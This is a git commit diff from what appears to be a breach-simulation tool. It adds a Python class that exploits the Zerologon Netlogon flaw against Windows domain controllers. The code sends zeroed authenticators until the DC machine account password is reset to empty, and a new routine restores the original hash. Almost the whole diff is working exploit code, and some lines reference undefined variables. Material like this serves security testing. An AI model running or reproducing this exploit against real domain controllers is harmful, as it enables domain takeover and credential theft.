Add restore_password()

This commit is contained in:
Shreya 2020-12-29 00:10:17 +05:30
parent 9468de471d
commit 44e15bd2a0
1 changed files with 134 additions and 23 deletions

View File

@ -7,43 +7,65 @@ import logging
from impacket.dcerpc.v5 import epm, nrpc, transport
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
from impacket.dcerpc.v5.ndr import NDRCALL
import impacket
from binascii import hexlify, unhexlify
from Cryptodome.Cipher import DES, AES, ARC4
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
LOG = logging.getLogger(__name__)
class NetrServerPasswordSet(nrpc.NDRCALL):
opnum = 6
structure = (
('PrimaryName', nrpc.PLOGONSRV_HANDLE),
('AccountName', nrpc.WSTR),
('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName', nrpc.WSTR),
('Authenticator', nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
structure = (
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode', nrpc.NTSTATUS),
)
class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Netlogon'
MAX_ATTEMPTS = 2000
def __init__(self, host):
super().__init__(host)
self.vulnerable_port = None
self.zerologon_finger = ZerologonFinger()
def _exploit_host(self):
MAX_ATTEMPTS = 2000
zerologon_finger = ZerologonFinger()
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
DC_IP = self.host.ip
DC_NAME = zerologon_finger.get_dc_name(DC_IP)
DC_HANDLE = '\\\\' + DC_NAME
if zerologon_finger.get_host_fingerprint(self.host): # exploitable
LOG.info("Target vulnerable, changing account password to empty string")
if self.is_exploitable():
LOG.info("Target vulnerable, changing account password to empty string.")
# Connect to the DC's Netlogon service.
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
rpc_con = self.connect_to_dc(DC_IP)
# Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256.
result = None
for _ in range(0, MAX_ATTEMPTS):
for _ in range(0, self.MAX_ATTEMPTS):
try:
result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
@ -61,25 +83,114 @@ class ZerologonExploiter(HostExploiter):
else:
LOG.info("Non-zero return code, something went wrong.")
# how do i execute monkey on the exploited machine?
# restore password
## how do i execute monkey on the exploited machine?
## restore password
else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER):
def get_dc_details(self):
dc_ip = self.host.ip
dc_name = self.zerologon_finger.get_dc_name(dc_ip)
dc_handle = '\\\\' + DC_NAME
return dc_ip, dc_name, dc_handle
def is_exploitable(self):
return self.zerologon_finger.get_host_fingerprint(self.host)
def connect_to_dc(self, DC_IP):
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con
def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME):
request = nrpc.NetrServerPasswordSet2()
request['PrimaryName'] = DC_HANDLE + '\x00'
request['AccountName'] = TARGET_COMPUTER + '$\x00'
request['AccountName'] = DC_NAME + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = 0
request['Authenticator'] = authenticator
request['ComputerName'] = TARGET_COMPUTER + '\x00'
request['ComputerName'] = DC_NAME + '\x00'
request['ClearNewPassword'] = b'\x00' * 516
return rpc_con.request(request)
def restore_password(self):
# get nthash using secretsdump and then restore password
pass
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
## get nthash using secretsdump and then restore password
# Keep authenticating until successful.
LOG.info("Restoring original password...")
for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
if rpc_con is not None:
break
if rpc_con:
LOG.info("DC machine account password should be restored to its original value.")
else:
LOG.info("Failed to restore password.")
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
# Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(DC_IP)
plaintext = b'\x00'*8
ciphertext = b'\x00'*8
flags = 0x212fffff
# Send challenge and authentication request.
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00',
DC_NAME + '\x00', plaintext)
server_challenge = server_challenge_response['ServerChallenge']
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
DC_NAME + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
server_auth.dump()
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
try:
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = ciphertext
authenticator['Timestamp'] = b"\x00" * 4
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
request = NetrServerPasswordSet()
request['PrimaryName'] = NULL
request['AccountName'] = DC_NAME + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['ComputerName'] = DC_NAME + '\x00'
request["Authenticator"] = authenticator
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey)
request["UasNewPassword"] = pwd_data
resp = rpc_con.request(request)
resp.dump()
except Exception as ex:
LOG.info(f"Unexpected error: {ex}")
return rpc_con
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
except BaseException as ex:
LOG.info(f"Unexpected error: {ex}")